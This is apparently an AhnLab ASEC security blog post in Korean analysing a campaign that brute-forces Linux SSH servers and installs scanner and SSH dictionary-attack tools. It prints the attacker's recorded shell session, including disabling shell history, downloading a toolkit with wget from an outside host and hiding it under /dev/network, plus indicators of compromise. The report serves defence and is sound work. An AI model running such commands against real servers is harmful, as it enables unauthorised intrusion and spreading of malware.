리눅스 SSH 서버를 대상으로 스캐너 악성코드를 설치하는 공격 사례 분석

리눅스 SSH 서버를 대상으로 스캐너 악성코드를 설치하는 공격 사례 분석

AhnLab Security Emergency response Center(ASEC)에서는 부적절하게 관리되고 있는 리눅스 SSH 서버를 대상으로 하는 공격 캠페인들을 분석하여 ASEC 블로그에 공개하고 있다. 공격자들은 DDoS Bot, CoinMiner 등의 악성코드들을 설치하기 이전에 공격 대상에 대한 정보 즉 IP 주소와 SSH 자격 증명 정보를 획득할 필요가 있다. 이를 위해 IP를 스캐닝 하면서 SSH 서비스 즉 22번 포트가 활성화된 서버를 찾고 이후에는 ID / PW 정보를 알아내기 위해 무차별 대입 공격(또는 사전 공격)을 수행한다.

공격자들은 자신들이 확보한 코인 마이너가 많을수록 더 많은 가상 화폐를 채굴할 수 있으며 DDoS Bot이 많을수록 더 강한 DDoS 공격을 수행할 수 있다. 하지만 코인 마이너와 DDoS Bot을 더 많이 설치하기 위해서는 그만큼의 공격 대상 정보 즉 자격 증명 정보를 확보할 필요가 있다.

이에 따라 확보한 감염 시스템들에 DDoS Bot이나 코인 마이너 악성코드 외에도 이러한 스캐닝 및 무차별 대입 공격 또는 사전 공격을 수행하는 악성코드들을 설치하여 더 많은 취약한 시스템들을 확보할 수 있다. 물론 스캐너 악성코드들만 설치하여 획득한 공격 대상 IP 및 자격 증명 정보를 다크웹에 판매할 수도 있을 것이다.

결론적으로 부적절하게 관리되는 SSH 서버에는 DDoS Bot이나 코인 마이너뿐만 아니라 SSH 스캐너 악성코드가 설치되는 경우도 존재한다. 여기에서는 이러한 악성코드를 설치하는 공격 사례를 분석한다.

1. 리눅스 SSH 서버를 대상으로 하는 악성코드들

일반적으로 부적절하게 관리되고 있는 리눅스 SSH 서버를 대상으로 하는 공격을 통해 설치되는 악성코드들로는 ShellBot [1] [2], Tsunami [3] 및 ChinaZ [4] DDoS Bot 그리고 XMRig 코인 마이너 [5] 유형들이 있다. 물론 이외에도 이미 알려진 다양한 악성코드들이 공격에 사용되고 있으며 AhnLab TIP에서는 분기별로 공격 및 악성코드 통계를 공개하고 있다.

공격자들은 악성코드를 설치하기 이전에 다음과 같은 ID / PW 목록을 이용해 SSH 서비스가 활성화된 리눅스 서버에 로그인을 시도하며 성공할 경우 악성코드를 설치한다. 이번에 확인된 공격자는 계정 정보를 획득한 이후 악성코드를 설치하는 대신 또 다른 스캐너 악성코드들을 설치하였는데 이는 취약한 시스템을 확보하는 것이 목적인 것으로 보인다.

2. SSH Bruteforce 공격 캠페인

공격자는 스캐너를 이용해 22번 포트 즉 SSH 서비스가 동작하는 시스템들을 스캐닝 한 후 SSH 사전 공격 도구를 이용해 획득한 계정 정보를 이용해 악성코드를 설치하였다. 공격에 사용된 ID / PW는 다음과 같다.

User Password Attacker IP
root Password1234 217.156.4[.]2

Table 1. 공격에 사용된 공격자 IP 주소 및 계정 정보

로그인에 성공한 후에는 먼저 다음 명령을 실행해 CPU 코어 전체 개수를 확인하였다. 참고로 뒤에서 다루겠지만 해당 명령은 SSH 사전 공격 도구 “prg”를 사용하여 로그인에 성공한 이후에 실행하는 명령이다.

> grep -c ^processor /proc/cpuinfo

이 명령이 실행되었다는 것은 공격자가 계정 정보를 획득하였다는 의미이다. 공격자는 이후 해당 계정 정보를 이용해 다시 로그인하여 압축 파일을 다운로드하였는데 압축 파일 내부에는 포트 스캐너 및 SSH 사전 공격 도구가 포함되어 있다. 참고로 “cd /ev/network”나 “unaem 0a”와 같이 공격자가 실수로 잘못 타이핑한 명령들도 함께 확인된다.

> unset HISTFILE
> w
> ls -a
> ps ax
> wget 58.216.207[.]82/scan.tar
> ls -a
> mdkri /dev/network
> mkdir /dev/network
> mv scan.tar /dev/network
> cd /ev/network
> cd /dev/network
> ls -a
> unaem 0a
> uname -a
> tar -xvf scan.tar
> cd .stx/
> ls -a
> ./go 212
> cd ..
> ls -a
> rm -rf scan.tar
> ls -a

3. 공격에 사용된 악성코드 분석

파일명 설명
go 스캐너 스크립트 (IP A 클래스)
gob 스캐너 스크립트 (IP B 클래스)
rand 스캐너 스크립트 (랜덤한 IP B Class 대역에 대해 gob 실행)
ps 포트 스캐너
ps2 포트 스캐너
b 배너 그래버
prg SSH Bruteforce 도구

Table 2. 공격에 사용된 악성코드 목록

공격자는 인자로 “212”를 주고 “go”라는 이름의 Bash 스크립트를 실행시켰다. “go” 스크립트는 차례대로 포트 스캐너, 배너 그래버 그리고 SSH 사전 공격 도구를 실행하는 기능을 담당한다.

포트 스캐너를 실행할 때는 인자로 스캐닝을 할 IP 대역과 포트 번호를 지정해야 한다. 포트 번호는 SSH 즉 22번 포트로 설정하며 IP 대역은 전달받은 값을 IP A 클래스 대역으로 사용한다.

“gob” 스크립트는 “go” 스크립트와 유사하지만 인자로 IP B 클래스를 전달받는 것이 차이점이다. 공격자는 해당 공격에서 직접 IP A 클래스를 지정하고 “go” 스크립트를 실행시켰지만 IP B 클래스를 지정하고 “gob” 스크립트를 실행시키거나 “rand” 스크립트를 실행시킬 수도 있다. “rand” 스크립트는 “gob” 스크립트를 실행시키는데 임의의 IP B 클래스를 지정해 실행시키는 것이 차이점이다.

포트 스캐너로는 “ps” 또는 “ps2”가 사용되는데 모두 스캐닝 할 IP 대역과 포트 번호를 전달받아 스캐닝을 수행하는 도구이다. 특징이 있다면 스캐닝 대상 포트가 활성화된 시스템을 찾을 경우 그 결과 즉 IP 주소 목록을 동일 경로에 “bios.txt”라는 이름으로 생성한다는 점이 있다.

이후에는 “b”를 실행하는데 인자로 앞의 과정에서 생성한 IP 리스트가 담긴 “bios.txt”와 포트 번호 그리고 스캐닝 쓰레드의 수를 지정하고 실행한다. “b”는 배너 그래버로서 전달받은 IP 주소와 포트 번호에 접속해 배너를 수집한 후 동일 경로에 “banner.log”라는 이름으로 생성한다. “go” 스크립트는 해당 파일에서 “SSH-2.0-OpenSSH” 문자열이 존재하는 IP 목록을 추출하여 “ips.lst”라는 이름의 파일에 저장한다.

최종적으로 실행되는 “prg”는 SSH 사전 공격 도구이다. 동일 경로에 위치한 “ips.lst” 파일에서 무차별 대입 공격 대상이 되는 IP 주소를 읽어오고 “pass.lst” 파일에서는 사전 공격에 사용할 ID / PW 목록을 읽어온다. “ips.lst” 파일은 지금까지의 스캐닝 과정에서 획득한 IP 주소가 저장되어 있으며 “pass.lst” 파일은 “scan.tar” 압축 파일 내부에 존재한다. 만약 사전 공격을 통해 로그인에 성공할 경우 그 결과는 “ssh_vuln”이라는 파일에 저장된다.

“prg” 도구는 사전 공격을 통해 로그인한 이후에는 “grep -c ^processor /proc/cpuinfo” 명령을 실행해 전체 CPU 코어 개수를 구해와서 다음과 같은 Nproc 항목에서 보여준다. 이 명령은 위에서 최초로 실행한 명령과 동일하다. 즉 공격자는 동일한 도구들을 이용해 스캐닝하여 계정 정보를 획득한 이후 공격에 성공한 시스템에 직접 로그인하여 동일하게 스캐너와 SSH 사전 공격 도구를 설치한 것으로 추정된다.

4. 과거 공격 사례

참고로 공격에 사용된 “scan.tar” 파일 내부의 포트 스캐너, SSH 사전 공격 도구 등의 파일들은 이미 과거부터 다양한 공격자들에 의해 사용되고 있다. 공격자들마다 사용하는 도구들과 계정 정보 목록 등의 파일들은 조금씩은 다르지만 공격 흐름은 거의 유사하다.

해당 도구들은 PRG old Team에서 제작한 도구들로 추정되며 공격자마다 이를 조금씩 변형하여 공격에 사용하고 있다. 2021년 일본인터넷침해사고대응팀(JPCERT/CC)에서 공개한 보고서에서도 XMRig 코인 마이너를 설치하는 공격자가 추가적으로 포트 스캐너 및 SSH 사전 공격 악성코드들을 설치하였는데 해당 사례에서도 PRG old Team에서 제작한 도구들이 사용되었다. [6]

5. 결론

최근 부적절하게 관리되고 있는 리눅스 SSH 서버를 대상으로 포트 스캐너 및 SSH 사전 공격 악성코드가 설치되고 있다. 공격자는 이러한 도구들을 이용해 더 많은 SSH 서버를 확보하고 이후 DDoS Bot이나 코인 마이너와 같은 악성코드들을 추가적으로 설치할 수도 있다.

이에 따라 관리자들은 계정의 비밀번호를 추측하기 어려운 형태로 사용하고 주기적으로 변경하여 무차별 대입 공격과 사전 공격으로부터 리눅스 서버를 보호해야 하며, 최신 버전으로 패치하여 취약점 공격을 방지해야 한다. 또한 외부에 공개되어 접근 가능한 서버에 대해 방화벽과 같은 보안 제품을 이용해 공격자로부터의 접근을 통제해야 한다. 마지막으로 V3를 최신 버전으로 업데이트하여 악성코드의 감염을 사전에 차단할 수 있도록 신경 써야 한다.

ASEC에서는 리눅스 SSH 허니팟을 활용하여 이러한 공격지 (Attack Source) 주소들을 실시간으로 수집하고 있으며 확인된 공격지 주소들은 AhnLab TIP를 통해 제공 중이다.

파일 진단
– Trojan/Shell.Scanner.SC195356 (2023.12.14.03)
– Trojan/Shell.Scanner.SC195357 (2023.12.14.03)
– Trojan/Shell.Scanner.SC195396 (2023.12.15.03)
– HackTool/Linux.Sshbrute.2121276 (2023.12.14.03)
– HackTool/Linux.Scanner.673120 (2020.04.07.08)
– HackTool/Linux.Portscan.SE157 (2020.04.21.00)
– HackTool/Linux.Scanner.458020 (2023.12.14.03)

MD5

03b23be96901764867da50dcd48c96dd
45901e5b336fd0eb79c6decb8e9a69cb
6fe6cc7c88cf1a0c20727a03d2577c04
946689ba1b22d457be06d95731fcbcac
db1fd9c0ccc6aea1176d219ff5d7fd01
URL

http[:]//58[.]216[.]207[.]82/scan[.]tar

AhnLab TIP를 구독하시면 연관 IOC 및 상세 분석 정보를 추가적으로 확인하실 수 있습니다. 자세한 내용은 아래 배너를 클릭하여 확인해보세요.